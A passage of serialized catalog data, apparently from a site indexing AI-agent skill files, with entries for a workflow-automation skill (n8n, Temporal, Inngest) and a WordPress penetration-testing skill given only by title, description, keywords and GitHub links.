flow means lost money and angry customers. With it, workflows resume exactly where they left off.  This skill covers the platforms (n8n, Temporal, Inngest) and patterns (sequential, parallel, orchestrator-worker) that turn brittle scripts into production-grade automation.  Key insight: The platforms make different tradeoffs. n8n optimizes for accessibility","https:\u002F\u002Fgithub.com\u002FEthanSheehan\u002FGrid-Sentinel\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fworkflow-automation\u002FSKILL.md",[198],{"categoryNo":102,"categoryName":103,"taxonomyType":104,"taxonomyTypeDesc":105},[200,125,109,201,202,203,123,204,205,206,207,208,209,210,211,212,213,214,215,216],"Workflow Automation","Production","flow","network","workflows","accessibility","ai agents","execution","scripts","worker","payment","n8n","money","resume","orchestrator","parallel","inngest",{"skillNo":218,"name":219,"nameZh":6,"description":220,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":221,"categories":222,"keywords":224,"publishedAt":36},"01M6DY32QTGD80MQHJ8TPDH53H","WordPress Penetration Testing","This skill should be used when the user asks to \"pentest WordPress sites\", \"scan WordPress for vulnerabilities\", \"enumerate WordPress users, themes, or plugins\", \"exploit WordPress vulnerabilities\", or \"use WPScan\". It provides comprehensive WordPress security assessment methodologies.","https:\u002F\u002Fgithub.com\u002FEthanSheehan\u002FGrid-Sentinel\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fwordpress-penetration-testing\u002FSKILL.md",[223],{"categoryNo":134,"categoryName":135,"taxonomyType":104,"taxonomyTypeDesc":105},[146,219,225,226,227,228,229,230,27,119,28,231,232,157,156],"penetration testing","wordpress","security assessment","sites","scan","pentest","plugins","assessment"]